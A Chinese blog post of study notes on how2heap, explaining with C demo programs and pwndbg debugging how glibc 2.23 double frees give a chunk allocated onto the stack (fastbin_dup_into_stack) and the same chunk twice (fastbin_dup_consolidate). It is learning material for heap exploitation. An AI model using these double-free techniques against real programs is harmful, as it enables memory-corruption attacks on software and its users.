• how2heap学习(二)


      拖了好久,但是在期间做了几道pwn题目,发现堆原来也没有想象中的难。

      fastbin_dup_into_stack

      这个说白了,就是利用double free可以进行任意地址的写,说是任意地址不准确,这个任意地址需要先进行布局!这个例子演示的是将一个堆分配到栈上。

      先上一个简化版的源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 #include <string.h>
     4 int main() {
     5     unsigned long long stack_var = 0x21;
     6     fprintf(stderr, "Allocating 3 buffers.
    ");
     7     char *a = malloc(9);
     8     char *b = malloc(9);
     9     char *c = malloc(9);
    10     strcpy(a, "AAAAAAAA");
    11     strcpy(b, "BBBBBBBB");
    12     strcpy(c, "CCCCCCCC");
    13     fprintf(stderr, "1st malloc(9) %p points to %s
    ", a, a);
    14     fprintf(stderr, "2nd malloc(9) %p points to %s
    ", b, b);
    15     fprintf(stderr, "3rd malloc(9) %p points to %s
    ", c, c);
    16     fprintf(stderr, "Freeing the first one %p.
    ", a);
    17     free(a);
    18     fprintf(stderr, "Then freeing another one %p.
    ", b);
    19     free(b);
    20     fprintf(stderr, "Freeing the first one %p again.
    ", a);
    21     free(a);
    22     fprintf(stderr, "Allocating 4 buffers.
    ");
    23     unsigned long long *d = malloc(9);
    24     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    25     fprintf(stderr, "4nd malloc(9) %p points to %p
    ", d, &d);
    26     char *e = malloc(9);
    27     strcpy(e, "EEEEEEEE");
    28     fprintf(stderr, "5nd malloc(9) %p points to %s
    ", e, e);
    29     char *f = malloc(9);
    30     strcpy(f, "FFFFFFFF");
    31     fprintf(stderr, "6rd malloc(9) %p points to %s
    ", f, f);
    32     char *g = malloc(9);
    33     strcpy(g, "GGGGGGGG");
    34     fprintf(stderr, "7th malloc(9) %p points to %s
    ", g, g);
    35 }

      用pwndbg一步步调试看看:

      在22行的地方下个断点。

      然后进行先进行

      d=malloc(9)

      *d=栈地址

      这里的这个栈地址,不是随便的地址,而是

    减去0x8的位置。

      这里的目的就是要让这里的0x7fffffffda38作为chunk的prev_size字段,然后让stack_var这个八个字节作为chunk的size字段,因为在从fastbins中取空间的时候,在2.23的libc中是会检查size字段,需要size字段合适,如果size字段不对,就不会分配成功。

      接下来就是再分配两个chunk,这个时候最后一个chunk就被分配到栈上面了。

      虽然图片中的代码是向堆写内容,但是其实我们写入的地址是栈,这样就实现了有条件的任意地址写!

      

    fastbin_dup_consolidate

      在前面我们说到,在libc2.23版本下,double free是有检测,会检测表头是不是上次被free的chunk头,这个检测好像在2.27版本就没了。。。还没有学习到那里,就先不谈了,这里说一下这个例子能干嘛。这个例子也是可以绕过doublefree的检测,但是不是我们前面讲的

      free(a)

      free(b)

      free(a)

      先看源码:

     1 #include <stdio.h>
     2 #include <stdint.h>
     3 #include <stdlib.h>
     4 #include <string.h>
     5 int main() 
     6 {
     7     void *p1 = malloc(0x10);
     8     void *p2 = malloc(0x10);
     9     strcpy(p1, "AAAAAAAA");
    10     strcpy(p2, "BBBBBBBB");
    11     fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p
    ", p1,p2);
    12     fprintf(stderr, "Now free p1!
    ");
    13     free(p1);
    14     void *p3 = malloc(0x400);
    15     fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p
    ", p3);
    16     fprintf(stderr, "In malloc_consolidate(), p1 is moved to theunsorted bin.
    ");
    17     free(p1);
    18     fprintf(stderr, "Trigger the double free vulnerability!
    ");
    19     fprintf(stderr, "We can pass the check in malloc() since p1is not fast top.
    ");
    20     void *p4 = malloc(0x10);
    21     strcpy(p4, "CCCCCCC");
    22     void *p5 = malloc(0x10);
    23     strcpy(p5, "DDDDDDDD");
    24     fprintf(stderr, "Now p1 is in unsorted bin and fast bin. Sowe'will get it twice: %p %p
    ", p4, p5);
    25 }

      

      我们先在14行下一个断点看看:

        

      此时的申请的chunk0已经被放到fastbins里面了这个时候时候我们

      malloc(0x400)

      这里我们发现,原来在fastbins的chunk0跑到了samllbins

      malloc(0x400),就是在分配large chunk

      

      large bins

      chunk 的指针数组, 每个元素是一条双向循环链表的头部, 但同一条链表中块的大小不一定相同, 按照从大到小的顺序排列,每个bin保存一定 大小范围的块。主要保存大小 1024 字节以上的块。

      由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1

      这个时候我们发现chunk0也就是p1,又在fastbins里面,又在smallbins里面,当我们再次创建chunk的时候,第一次会从fastbins里面提取出chunk,第二次会从smallbins里面拿出chunk,所以这里的p4 p5都指向chunk0

     

      虽然写到这里就完了,但是我还是有一点点不太明白。

      说一下我现在的理解吧,就是我要申请一个large chunk,我首先会看看unsorted bin中有没有合适的chunk,我就会将fast bins中的chunk合并到unsorted bin中,但是由于我们申请的这个chunk太大了,即使把faatbins的chunk合并过来也不满足,所以我这里就按照大小,又把合并完的这个chunk放回到smallbins或者largebins。

      嗯嗯,目前就这个理解。刚刚测试了一下,确实会合并fastbins的chunk,合并完之后判断这个chunk是属于smalllibs还是largebins,再按规则放!

      这篇博客就先到这里啦!

  • 相关阅读:
    [Unity菜鸟] 协程Coroutine
    [Unity菜鸟] Unity发布web后,从HTML调用本地文件
    [Unity菜鸟] Unity鼠标双击,鼠标函数整理(未完)
    [Unity菜鸟] Unity Web Player 相关问题 (待完善)
    [Unity菜鸟] Unity读XML
    [Unity菜鸟] 术语
    [Unity菜鸟] 笔记2 —— 问题篇
    [Unity菜鸟] Mecanim 系统遇到的问题
    学习:条件[记录]断点
    学习:硬件断点
  • 原文地址:https://www.cnblogs.com/bhxdn/p/13088862.html
Copyright © 2020-2023  润新知